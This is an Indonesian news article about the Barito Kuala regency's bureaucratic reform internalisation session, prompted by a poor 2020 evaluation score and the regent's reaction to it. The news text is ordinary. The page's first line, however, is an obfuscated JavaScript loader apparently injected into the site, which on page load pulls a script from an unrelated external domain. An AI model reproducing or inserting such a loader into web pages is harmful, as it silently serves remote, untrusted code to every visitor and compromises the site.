(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tingkatkan Reformasi Birokrasi Batola Libatkan SKPD dan Para Camat

KANALKALIMANTAN.COM, MARABAHAN– Tingkatkan Reformasi Birokrasi (RB), Pemerintah Kabupaten Barito Kuala (Pemkab Batola) menggelar Internalisasi Reformasi Birokrasi dengan melibatkan seluruh SKPD dan para camat.

Internalisasi Reformasi Birokrasi juga berisi paparan dan tanya jawab program perubahan dari seluruh pimpinan SKPD dan camat yang bahannya terlebih dahulu diserahkan kepada Bagian Organisasi. Dari pengundian yang dilakukan bupati, wakil bupati, dan sekda, SKPD dan camat yang terpilih menyampaikan paparan masing-masing Kadis PMD Mochammad Aziz, Plt Kepala Bappelitbang Munadi, serta Camat Belawang Rusdiansyah.

Digelarnya internalisasi reformasi birokrasi ini karena hasil evaluasi tahun 2020 sesuai Surat Kemenpan RB Nomor B/377/RB.06/2021 tanggal 31 Maret 2021 Batola hanya berada di kategori CC dengan nilai 52,47 yang terdiri dari total komponen pengungkit 23,64 dan komponen hasil 28,84. Dengan sasaran, lanjutnya, birokrasi yang bersih dan akuntabel, kapabel, dan memiliki pelayanan publik yang prima. Bupati Hj Noormiliyani AS sangat kaget mengetahui rendahnya capaian nilai yang diraih RB Batola. Terlebih daerahnya berada di urutan bawah di Kalsel.

“Sesungguhnya saya sangat sedih atas penilaian ini. Selama 3 tahun saya bersama Wakil Bupati H Rahmadian Noor memimpin ternyata begini hasilnya,” tukas Bupati Batola, Kamis (08/07/2021).

Untuk itu, ia minta seluruh pimpinan SKPD dan camat agar bisa berubah dengan melakukan perbaikan, penataan ulang, dan penyempurnaan di semua komponen agar menjadi lebih baik. Bupati perempuan pertama di Kalsel ini juga mengharapkan, perubahan dan penataan yang dilakukan bukan saja dari sisi kelembagaan namun juga terkait realisasi pelaksanaan. (kanalkalimantan.com/rdy)

Reporter : rdy
Editor : kk